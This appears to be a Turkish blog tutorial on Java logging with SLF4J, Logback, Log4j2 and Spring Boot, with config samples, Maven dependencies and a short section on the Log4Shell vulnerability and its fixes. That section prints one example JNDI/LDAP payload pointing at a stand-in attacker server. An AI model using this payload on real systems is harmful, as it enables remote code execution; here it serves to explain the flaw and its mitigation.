Java’da SLF4j ve Log4j Loglama Rehberi: Spring Boot Logging

Java uygulamalarında SLF4J, Log4j2 ve Spring Boot logging mimarisi
Kısa özet: Kod tarafında SLF4J kullanın, Spring Boot varsayılan olarak Logback ile gelir. İleri seviye kullanımda Log4j2 tercih edilebilir.

Java projelerinde loglama; hata ayıklama, performans izleme ve production sistemlerin takibi için kritik öneme sahiptir. Bu rehberde SLF4J, Logback, Log4j2, Log4Shell güvenlik açığı ve Spring Boot logging config örneklerini öğreneceksiniz.


SLF4J Nedir?

SLF4J (Simple Logging Facade for Java), Java projelerinde kullanılan loglama motorlarını soyutlayan bir arayüzdür.

private static final Logger log =
    LoggerFactory.getLogger(HomeController.class);

log.info("Uygulama başladı");

SLF4J vs Logback

Özellik SLF4J Logback
Tür Facade Log motoru
Spring Boot Kullanılır Varsayılan
Performans Motora bağlı Yüksek
Öneri: Kod tarafında SLF4J, Spring Boot içinde varsayılan olarak Logback kullanın.

Log4j2 Nedir?

Log4j2, yüksek performanslı ve esnek yapılandırma sunan gelişmiş bir loglama motorudur.

<Configuration status="WARN">
  <Appenders>
    <Console name="Console">
      <PatternLayout pattern="%d %-5p %c - %m%n"/>
    </Console>
  </Appenders>
  <Loggers>
    <Root level="info">
      <AppenderRef ref="Console"/>
    </Root>
  </Loggers>
</Configuration>

Log4Shell (Log4j Güvenlik Açığı) Nedir?

Log4Shell (CVE-2021-44228), Java dünyasında en çok aranan güvenlik açıklarından biridir. Bu açık sayesinde saldırganlar uzaktan kod çalıştırabilir.

Kritik: Eski Log4j2 sürümleri kullanıyorsanız mutlaka güncelleyin.

Örnek saldırı payload

${jndi:ldap://attacker-server/exploit}

Korunma yöntemleri

  • Log4j2 sürümünü 2.17+ yapın
  • JNDI lookup kapatın
  • Bağımlılık güvenlik taraması yapın

Spring Boot Logging Config Örneği

logging.level.root=INFO
logging.level.com.example=DEBUG
logging.file.name=logs/app.log
logging.pattern.console=%d{yyyy-MM-dd HH:mm:ss} - %msg%n
İpucu: Production ortamında INFO, development ortamında DEBUG kullanın.

Maven Bağımlılıkları

<dependency>
  <groupId>org.slf4j</groupId>
  <artifactId>slf4j-api</artifactId>
</dependency>

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
</dependency>

Sık Sorulan Sorular

SLF4J nedir?

Java için loglama arayüzüdür.

Log4Shell nedir?

Log4j2 üzerindeki kritik güvenlik açığıdır.

Spring Boot hangi logging kullanır?

Varsayılan olarak Logback kullanır.


Sonuç

En iyi yaklaşım: SLF4J + Logback. İleri performans ihtiyaçlarında Log4j2. Güvenlik için mutlaka Log4Shell güncellemelerini kontrol edin.

Latest Software Developers - Yazılım Blog Yazarı Profil Resmi

Yazar

LatestSoftwareDevelopers

Blog where the most up-to-date software is followed. (En güncel yazılımların takip edildiği blog sitesi)

Spring Boot ile ilgili yorumlar

Yorum Paylaş

EMail Zorunlu alanlar * *